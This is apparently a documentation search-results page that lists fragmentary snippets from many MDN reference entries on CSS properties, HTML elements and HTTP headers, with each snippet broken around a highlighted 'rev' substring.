revent breaks in columns, as well as pages. add both properties for backwards compatibility. for older webkit-based browsers, the prefixed property -webkit-column-break-inside can be used to control column breaks. ...
Computed value - CSS: Cascading Style Sheets
doing the computation needed to reach the value described in the "computed value" line in the property's definition table. the computation needed to reach a property's computed value typically involves converting relative values (such as those in em units or percentages) to absolute values. ...
...ight property become the computed value, as specified. the relative values that remain in the computed value become absolute when the used value is determined. note: the getcomputedstyle() dom api returns the resolved value, which may either be the computed value or the used value, depending on the property. specifications specification status comment css level 2 (
revision 2)the definition of 'computed-value' in that specification. working draft no change. css level 2 (
revision 1)the definition of 'computed value' in that specification. recommendation initial definition. ...
<dimension> - CSS: Cascading Style Sheets
e case insensitive. examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come immediately after the number. 12"px" units are identifiers and therefore unquoted. 3sec the seconds unit is abb
reviated "s" not "sec". specifications specification status comment css values and units module level 4the definition of '<dimension>' in that specification. editor's draft adds cap, ic, lh, rlh, vi, vb css values and units module level 3the definition of '<dimension>' in that specification. candidate recommendation adds ch, rem, vw, vw, vmin, vmax,...
...ecifications specification status comment css values and units module level 4the definition of '<dimension>' in that specification. editor's draft adds cap, ic, lh, rlh, vi, vb css values and units module level 3the definition of '<dimension>' in that specification. candidate recommendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (
revision 1)the definition of '<dimension>' in that specification. recommendation defined under numbers and length css level 1the definition of '<dimension>' in that specification. recommendation initial definition under "length units" ...
font-size - CSS: Cascading Style Sheets
rent's font-size. this is often called compounding. rems rem values were invented in order to sidestep the compounding problem. rem values are relative to the root html element, not the parent element. in other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding. the css below is nearly identical to the p
revious example. the only exception is that the unit has been changed to rem. html { font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ } span { font-size: 1.6rem; } then we apply this css to the same html, which looks like this: <span>outer <span>inner</span> outer</span> in this example, the words “outer inner outer” are all displayed at 16px (assuming that the ...
...int h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status comment css fonts module level 4the definition of 'font-size' in that specification. working draft adds xxx-large keyword. css fonts module level 3the definition of 'font-size' in that specification. candidate recommendation no change. css level 2 (
revision 1)the definition of 'font-size' in that specification. recommendation no change. css level 1the definition of 'font-size' in that specification. recommendation initial definition. ...
font-variant - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
.../p> <p class="small">firefox rocks!</p> css p.normal { font-variant: normal; } p.small { font-variant: small-caps; } result specifications specification status comment css fonts module level 3the definition of 'font-variant' in that specification. candidate recommendation made it a shorthand of the new font-variant-* properties. css level 2 (
revision 1)the definition of 'font-variant' in that specification. recommendation no change css level 1the definition of 'font-variant' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/brows...
font - CSS: Cascading Style Sheets
's font to a system font. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values p
reviously set using non-shorthand properties). though not directly settable by font, the longhands font-size-adjust and font-kerning are also reset to their initial values. constituent properties this property is a shorthand for the following css properties: font-family font-size font-stretch font-style font-variant font-weight line-height syntax the font property may be specified as ei...
... recommendation added support for keywords. css level 1the definition of 'font' in that specification. recommendation initial definition. ...
initial - CSS: Cascading Style Sheets
the initial css keyword applies the initial (or default) value of a property to an element. it can be applied to any css property. this includes the css shorthand all, with which initial can be used to restore all css properties to their initial state. on inherited properties, the initial value may be unexpected. you should consider using the inherit, unset, or
revert keywords instead. examples using initial to reset color for an element html <p> <span>this text is red.</span> <em>this text is in the initial color (typically black).</em> <span>this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that...
... full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also use unset to set a property to its inherited value if it inherits, or to its initial value if not. use
revert to reset a property to the value established by the user-agent stylesheet (or by user styles, if any exist). use inherit to make an element's property the same as its parent. the all property lets you reset all properties to their initial, inherited,
reverted, or unset state at once. ...
left - CSS: Cascading Style Sheets
positioned.) when position is set to relative, the left property specifies the distance the element's left edge is moved to the right from its normal position. when position is set to sticky, the left property is used to compute the sticky-constraint rectangle. when position is set to static, the left property has no effect. when both left and right are defined, and width constraints don't p
revent it, the element will stretch to satisfy both. if the element cannot stretch to satisfy both, the position of the element is overspecified. when this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left. formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to t...
... recommendation initial definition. ...
max-height - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. max-height overrides height, but min-height overrides max-height. ...
... form { max-height: none; } specifications specification status comment css box sizing module level 4the definition of 'max-height' in that specification. editor's draft css box sizing module level 3the definition of 'max-height' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (
revision 1)the definition of 'max-height' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid...
max-width - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. max-width overrides width, but min-width overrides max-width. ...
...max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification. editor's draft css box sizing module level 3the definition of 'max-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. css level 2 (
revision 1)the definition of 'max-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid...
min-height - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the element's height is set to the value of min-height whenever min-height is larger than max-height or height. ...
... recommendation initial definition. ...
min-width - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the element's width is set to the value of min-width whenever min-width is larger than max-width or width. ...
...ication. editor's draft css box sizing module level 3the definition of 'min-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. css flexible box layout modulethe definition of 'min-width' in that specification. candidate recommendation adds the auto keyword and uses it as the initial value. css level 2 (
revision 1)the definition of 'min-width' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid...
overflow-wrap - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in contrast to word-break, overflow-wrap will only create a break if an entire word cannot be placed on its own line without overflowing. ...
...ord values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; /* global values */ overflow-wrap: inherit; overflow-wrap: initial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen from the list of values below. values normal lines may only break at normal word break points (such as a space between two words). anywhere to p
revent overflow, an otherwise unbreakable string of characters — like a long word or url — may be broken at any point if there are no otherwise-acceptable break points in the line. no hyphenation character is inserted at the break point. soft wrap opportunities introduced by the word break are considered when calculating min-content intrinsic sizes. break-word the same as the anywhere value, wi...
overflow - CSS: Cascading Style Sheets
hat the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit the padding box. browsers always display scrollbars whether or not any content is actually clipped, p
reventing scrollbars from appearing or disappearing as content changes. printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block formatting context. desktop browsers provide scrollbars if content overflows. overlay behaves the same as auto, but with the scrollbars draw...
... recommendation initial definition. ...
overscroll-behavior-x - CSS: Cascading Style Sheets
the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. ...
...ing areas, e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing an underlying element from scrolling horizontally in our simple overscroll-behavior-x example (see source code also), we have two block-level boxes, one inside the other. the outer box has a large width set on it so the page will scroll horizontally. the inner box has a small width (and height) set on it so it sits comforably inside the viewport, but its content is given a large width so i...
overscroll-behavior-y - CSS: Cascading Style Sheets
the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. ...
...ing areas, e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing an underlying element from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example and explanation. specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-y' in that specification. working draft ...
word-break - CSS: Cascading Style Sheets
the word-break css property sets whether line breaks appear whe
rever the text would otherwise overflow its content box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below. values normal use the default line break rule. ...
... a pull request. syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below. values normal use the default line break rule. break-all to p
revent overflow, word breaks should be inserted between any two characters (excluding chinese/japanese/korean text). keep-all word breaks should not be used for chinese/japanese/korean (cjk) text. non-cjk text behavior is the same as for normal. break-word has the same effect as word-break: normal and overflow-wrap: anywhere, regardless of the actual value of the overflow-wrap property. note...
CSS: Cascading Style Sheets
cascading style sheets (css) is a stylesheet language used to describe the presentation of a document written in html or xml (including xml dialects such as svg, mathml or xhtml). css describes how elements should be rendered on screen, on paper, in speech, or on other media. css among the core languages of the open web and is standardized across web browsers according to the w3c specification. p
reviously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation. you might have heard about css1, css2.1, css3. however, css4 has never become an official version. from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective...
... css reference our exhaustive css reference for seasoned web developers describes every property and concept of css. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started tutorials our css learning area features multiple modules that teach css from the ground up — no p
revious knowledge required. css first steps css (cascading style sheets) is used to style and layout web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks l...
Adding captions and subtitles to HTML5 video - Developer guides
ut major parts of it are stable so we can use it today. video providers (such as the blender foundation) provide captions and subtitles in a text format with their videos, but they're usually in the subrip text (srt) format. these can be easily converted to webvtt using an online converter such as srt2vtt. modifications to the html and css this section summarises the modifications made to the p
revious article's code in order to facilitate the addition of subtitles to the video. if you are not interested in this, and just want to get straight into the javascript and more relevant css, skip to the subtitle implementation section. in this example we are using a different video, sintel, as it actually has some speech in it and therefore is better for illustrating how subtitles work! html m...
...btitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below. subtitle implementation a lot of what we do to access the video subtitles
revolves around javascript. similar to the video controls, if a browser supports html5 video subtitles, there will be a button provided within the native control set to access them. however, since we have defined our own video controls, this button is hidden, and we need to define our own. browsers do vary as to what they support, so we will be attempting to bring a more unified ui to each browser w...
Rich-Text Editing in Mozilla - Developer guides
mozilla 1.3 introduces an implementation of microsoft® internet explorer's designmode feature. the rich-text editing support in mozilla 1.3 supports the designmode feature which turns html documents into rich-text editors. starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when p
reventing change to fixed elements in an editable environment). setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the document becomes a rich-text editing area and the user can type into it as if it were a textarea. the most basic keyboard commands such ...
...designmode from ie to mozilla at mozilla.org designmode msdn: how to create an html editor application a closed source, cross-browser rich-text editing demo xbdesignmode; a javascript helper class for easier cross-browser development using designmode. firefox 3 and contenteditable original document information author(s): doron rosenberg, netscape communications published: 04 apr 2003
revised: 01 jul 2003
revised: 24 apr 2005, joel coreson
revised: 28 nov 2006, ken kuhns, computronicsusa
revised: 19 dec 2007, mark finkle ...
Localizations and character encodings - Developer guides
encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation. unfortunately, using utf-8 and declaring that utf-8 was used was not always the p
revalent way of offering web content. in the 1990s, it was common to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of unicode. firefox needs a fallback encoding that it uses for non-conforming legacy content that doesn't declare its encoding. for most locales, the fallback encoding is windows-1252 (often called iso-8859-1), which was the encodi...
...lback encodings is now built into gecko itself. the fallback encoding is specified by the preference intl.charset.default in intl.properties. it should be set to the canonical name of the legacy encoding that users of the localizations are most likely to encounter when browsing non-conforming legacy web content that doesn't declare its encoding. note that the fallback encoding as defined by the p
revious sentence does not necessarily need to be able to represent the characters needed for the language of the localization! the fallback encoding should be left to windows-1252 for western european locales, north, central and south american locales, african locales, central asian locales and oceanian locales. it typically needs to be set to something other than windows-1252 for central and easter...
<a>: The Anchor element - HTML: Hypertext Markup Language
ed by authors. use the http content-type header on the linked url. coordsobsolete since html5 used with the shape attribute. a comma-separated list of coordinates. nameobsolete since html5 was required to define a possible target location in a page. in html 4.01, id and name could both be used on <a>, as long as they had identical values. note: use the global attribute id instead.
revobsolete since html5 specified a
reverse link; the opposite of the rel attribute. deprecated for being very confusing. shapeobsolete since html5 the shape of the hyperlink’s region in an image map. note: use the <area> element for image maps instead. properties content categories flow content, phrasing content, interactive content, palpable content. permitted conten...
...accessible version! <p> learn more <a href="/products">about our products</a>. </p> assistive software have shortcuts to list all links on a page. however, strong link text benefits all users — the “list all links” shortcut emulates how sighted users quickly scan pages. onclick events anchor elements are often abused as fake buttons by setting their href to # or javascript:void(0) to p
revent the page from refreshing, then listening for their click events . these bogus href values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when javascript is loading, errors, or is disabled. they also convey incorrect semantics to assistive technologies, like screen readers. use a <button> instead. in general, you should only use a hyp...
<article>: The Article Contents element - HTML: Hypertext Markup Language
he blog post. author information of an <article> element can be provided through the <address> element, but it doesn't apply to nested <article> elements. the publication date and time of an <article> element can be described using the datetime attribute of a <time> element. note that the pubdate attribute of <time> is no longer a part of the w3c html5 standard. examples <article class="film_
review"> <header> <h2>jurassic park</h2> </header> <section class="main_
review"> <p>dinos were great!</p> </section> <section class="user_
reviews"> <article class="user_
review"> <p>way too scary for me.</p> <footer> <p> posted on <time datetime="2015-05-16 19:00">may 16</time> by lisa. </p> </footer> </article> ...
... </p> </footer> </article> </section> <footer> <p> posted on <time datetime="2015-05-15 19:00">may 15</time> by staff. ...
<input type="button"> - HTML: Hypertext Markup Language
on.value = 'enabled'; }, 2000); } if the disabled attribute isn't specified, the button inherits its disabled state from its parent element. this makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a <fieldset> element, and then setting disabled on the container. the example below shows this in action. this is very similar to the p
revious example, except that the disabled attribute is set on the <fieldset> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed. hidden code 2 <fieldset> <legend>button group</legend> <input type="button" value="button 1"> <input type="button" value="button 2"> <input type="button" value="button 3"> </fieldset> const b...
... by default, persist the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to control this feature. validation buttons don't participate in constraint validation; they have no real value to be constrained. examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascript (we'll hide the css for b
revity). the top two controls allow you to choose the color and size of the drawing pen. the button, when clicked, invokes a function that clears the canvas. <div class="toolbar"> <input type="color" aria-label="select pen color"> <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> <input type="button" value="clear canvas"> </div> <canva...
<input type="color"> - HTML: Hypertext Markup Language
user's browser doesn't support a color well, but is instead a text field for entering the color string directly, you can use the select() method to select the text currently in the edit field. if the browser instead uses a color well, select() does nothing. you should be aware of this behavior so your code can respond appropriately in either case. colorwell.select(); appearance variations as p
reviously mentioned, when a browser doesn't support a color picker interface, its implementation of color inputs will be a text box that validates the contents automatically to ensure that the value is in the correct format. for example, in safari 10.1, you would see something that looks looks like this: the same content looks like this in firefox 55: in this case, clicking on the color well pr...
...e to change the color of the paragraphs' text. <p>an example demonstrating the use of the <code><input type="color"></code> control.</p> <label for="colorwell">color:</label> <input type="color" value="#ff0000" id="colorwell"> <p>watch the paragraph colors change when you adjust the color picker. as you make changes in the color picker, the first paragraph's color changes, as a p
review (this uses the <code>input</code> event). when you close the color picker, the <code>change</code> event fires, and we detect that to change every paragraph to the selected color.</p> javascript first, there's some setup. here we establish some variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a load handl...
<input type="password"> - HTML: Hypertext Markup Language
ings in use). this does not set a limit on how many characters the user can enter into the field. it only specifies approximately how many can be seen at a time. to set an upper limit on the length of the input data, use the maxlength attribute. using password inputs password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to p
revent people near the user from reading the password. a simple password input here we see the most basic password input, with a label established using the <label> element. <label for="userpassword">password: </label> <input id="userpassword" type="password"> allowing autocomplete to allow the user's password manager to automatically enter the password, specify the autocomplete attribute. for...
...the pin is for one-time use, set the autocomplete attribute to either off or one-time-code to suggest that it's not saved. <label for="pin">pin: </label> <input id="pin" type="password" inputmode="numeric"> setting length requirements as usual, you can use the minlength and maxlength attributes to establish minimum and maximum acceptable lengths for the password. this example expands on the p
revious one by specifying that the user's pin must be at least four and no more than eight digits. the size attribute is used to ensure that the password entry control is eight characters wide. <label for="pin">pin:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" maxlength="8" size="8"> selecting text as with other textual entry controls, you can use the select()...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
e, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement attributes this element also accepts the global attributes.
reversed this boolean attribute specifies that the list’s items are in
reverse order. items will be numbered from high to low. start an integer to start counting from for the list items. always an arabic numeral (1, 2, 3, etc.), even when the numbering type is letters or roman numerals. for example, to start numbering elements from the letter "d" or the roman numeral "iv," use start="4". type ...
... recommendation deprecated compact and type. ...
<tbody>: The Table Body element - HTML: Hypertext Markup Language
sult the resulting table looks like this: multiple bodies you can create multiple sections within a table by using multiple <tbody> elements. each may potentially have its own header row or rows; however, there can be only one <thead> per table! because of that, you need to use a <tr> filled with <th> elements to create headers within each <tbody>. let's see how that's done. ...
...r> filled with <th> elements to create headers within each <tbody>. let's see how that's done. let's take the p
revious example, add some more students to the list, and update the table so that instead of listing each student's major on every row, the students are grouped by major, with heading rows for each major. ...
contextmenu - HTML: Hypertext Markup Language
of a <menu> to use as the contextual menu for this element. a context menu is a menu that appears upon user interaction, such as a right-click. html5 now allows us to customize this menu. here are some implementation examples, including nested menus. example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="sha
reviatwitter()"></menuitem> <menuitem label="facebook" onclick="sha
reviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu. </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text ...
...mage below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function sha
reviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray! i am learning contextmenu from mdn via mozilla"); } function sha
reviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger";...
Microdata - HTML: Hypertext Markup Language
kup vocabularies are provided by schema.org. commonly used vocabularies: creative works: creativework, book, movie, musicrecording, recipe, tvseries embedded non-text objects: audioobject, imageobject, videoobject event health and medical types: notes on the health and medical types under medicalentity organization person place, localbusiness, restaurant product, offer, aggregateoffer
review, aggregaterating action thing intangible major search engine operators like google, microsoft, and yahoo! rely on the schema.org vocabulary to improve search results. for some purposes, an ad-hoc vocabulary is adequate. for others, a vocabulary will need to be designed. where possible, authors are encouraged to re-use existing vocabularies, as this makes content re-use easier. localizati...
...need to be designed. where possible, authors are encouraged to re-use existing vocabularies, as this makes content re-use easier. localization in some cases, search engines covering specific regions may provide locally-specific extensions of microdata. for example, yandex, a major search engine in russia, supports microformats such as hcard (company contact information), hrecipe (food recipe), h
review (market
reviews) and hproduct (product data) and provides its own format for the definition of the terms and encyclopedic articles. this extension was made to solve transliteration problems between the cyrillic and latin alphabets. due to the implementation of additional marking parameters of schema's vocabulary, the indexation of information in russian-language web-pages became considerably m...
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abb
reviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools. these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations. microformats use supporting vocabularies to describe objects and name-value pairs to assign values to their properties. the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes. ...
...ts use supporting vocabularies to describe objects and name-value pairs to assign values to their properties. the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes. microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than p
revious approaches of using rdfa and microdata which require learning new attributes. microformats are supported by all major search engines. search engines benefit greatly from direct access to this structured data because it allows them to understand the information on web pages and provide more relevant results to users. in addition to being machine-readable, their format is designed to be easily...
Evolution of HTTP - HTTP
ve content-length: 3077 content-type: image/png date: thu, 31 mar 2016 13:34:46 gmt last-modified: wed, 21 oct 2015 18:27:50 gmt server: apache (image content of 3077 bytes) http/1.1 was first published as rfc 2068 in january 1997. more than 15 years of extensions thanks to its extensibility – creating new headers or methods is easy – and even if the http/1.1 protocol was refined over two
revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in p
revision of the release of http/2, this protocol has been extremely stable over more than 15 years. using http for secure transmissions the largest change that happened to http was done as early as end of 1994. instead of sending http over a basic tcp/ip stack, netscape communications created a...
...transparent for them. having an up-to-date server communicating with a recent browser is enough to enable its use: only a limited set of groups were needed to trigger adoption, and as legacy browser and server versions are renewed, usage has naturally increased, without further web developer efforts. post-http/2 evolution http didn't stop evolving upon the release of http/2. like with http/1.x p
reviously, http's extensibility is still being used to add new features. notably, we can cite new extensions of the http protocol appearing in 2016: support of alt-svc allows the dissociation of the identification and the location of a given resource, allowing for a smarter cdn caching mechanism. the introduction of client-hints allows the browser, or client, to proactively communicate informatio...
Resource URLs - HTTP
uris, which are used internally by firefox to point to built-in resources. threats because some of the information shared by resource: urls is available to websites, a web page could run internal scripts and inspect internal resources of firefox, including the default preferences, which could be a serious security and privacy issue. ...
...g the default preferences, which could be a serious security and privacy issue. for example, a script on browserleaks highlights what firefox
reveals when queried by a simple script running on the site (you can find the code in https://browserleaks.com/firefox#more). the file firefox.js passes preference names and values to the pref() function. for example: http://searchfox.org/mozilla-central/
rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding this pref() function and using the script resource:///defaults/preferences/firefox.js. furthermore, some default values of preferences differ between build configurations, such as platform and locale, which means web sites could identify individual u...
Cross-Origin Resource Sharing (CORS) - HTTP
eners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.upload property. no readablestream object is used in the request. note: these are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. therefore, sites that p
revent cross-site request forgery have nothing new to fear from http access control. note: webkit nightly and safari technology p
review place additional restrictions on the values allowed in the accept, accept-language, and content-language headers. if any of those headers have ”nonstandard” values, webkit/safari does not consider the request to be a “simple request”. what values webkit/saf...
...the example above, the page is loaded from foo.example, but the cookie on line 20 is sent by bar.other, and would thus not be saved if the user has configured their browser to reject all third-party cookies. the http response headers this section lists the http response headers that servers send back for access control requests as defined by the cross-origin resource sharing specification. the p
revious section gives an overview of these in action. access-control-allow-origin a returned resource may have one access-control-allow-origin header, with the following syntax: access-control-allow-origin: <origin> | * access-control-allow-origin specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests without credentials — t...
Connection management in HTTP/1.x - HTTP
se problems, the concept of a persistent connection has been designed, even prior to http/1.1. alternatively this may be called a keep-alive connection. a persistent connection is one which remains open for a period of time, and can be reused for several requests, saving the need for a new tcp handshake, and utilizing tcp's performance enhancing capabilities. this connection will not stay open fo
rever: idle connections are closed after some time (a server may use the keep-alive header to specify a minimum time the connection should be kept open). persistent connections also have drawbacks; even when idling they consume server resources, and under heavy load, dos attacks can be conducted. in such cases, using non-persistent connections, which are closed as soon as they are idle, can provide ...
...y default. domain sharding unless you have a very specific immediate need, don't use this deprecated technique; switch to http/2 instead. in http/2, domain sharding is no longer useful: the http/2 connection is able to handle parallel unprioritized requests very well. domain sharding is even detrimental to performance. most http/2 implementations use a technique called connection coalescing to
revert eventual domain sharding. as an http/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. as a solution, browsers open several connections to each domain, sending parallel requests. default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. there is a risk of trigg...
Cross-Origin Resource Policy (CORP) - HTTP
on against certain requests from other origins (such as those issued with elements like <script> and <img>), to mitigate speculative side-channel attacks, like spectre, as well as cross-site script inclusion attacks. corp is an additional layer of protection beyond the default same-origin policy. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to p
revent some cross-origin reads by default. the policy is only effective for no-cors requests, which are issued by default for cors-safelisted methods/headers. as this policy is expressed via a response header, the actual request is not p
revented—rather, the browser p
revents the result from being leaked by stripping the response body. history the concept was originally proposed in 2012 (as fro...
...ross-origin reads. if the application does not serve a no-sniff directive, chromium will attempt to guess the content-type and apply the protection anyway. cross-origin resource policy is an opt-in response header which can protect any resource; there is no need for browsers to sniff mime types. usage note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, p
reventing visitors from being able to read past the first page of some pdfs. exercise caution using this header in a production environment. web applications set a cross-origin resource policy via the cross-origin-resource-policy http response header, which accepts one of three values: same-site only requests from the same site can read the resource. warning: this is less secure than an o...
Using Feature Policy - HTTP
dants. enforcing best practices for good user experiences it's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. as the website evolves, it can become even harder to maintain the user experience over time. you can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to p
revent regressions. there are several policy-controlled features designed to represent functionality that can negatively impact the user experience. these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-control...
...he user experience. these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. that is, the default allowlist is '*' for each feature. p
reventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features. for new content, you can start developing with a policy that disables all the features. this approach ensures that none of the functionality is introduced. when applying a policy to existing content, testing is likely required to verify it continues to work as expected. this is espe...
Access-Control-Expose-Headers - HTTP
tication information). in requests with credentials, it is treated as the literal header name "*" without special semantics. note that the authorization header can't be wildcarded and always needs to be listed explicitly. ...
...ics. note that the authorization header can't be wildcarded and always needs to be listed explicitly. ...
CSP: sandbox - HTTP
csp version 1.1 / 2 directive type document directive this directive is not supported in the <meta> element or by the content-security-policy-report-only header field. ...
... csp version 1.1 / 2 directive type document directive this directive is not supported in the <meta> element or by the content-security-policy-report-only header field. ...
Cross-Origin-Resource-Policy - HTTP
exercise caution using this header in a production environment. the http cross-origin-resource-policy response header conveys a desire that the browser blocks no-cors cross-origin/cross-site requests to the given resource. ...
...exercise caution using this header in a production environment. the http cross-origin-resource-policy response header conveys a desire that the browser blocks no-cors cross-origin/cross-site requests to the given resource. ...
Referer - HTTP
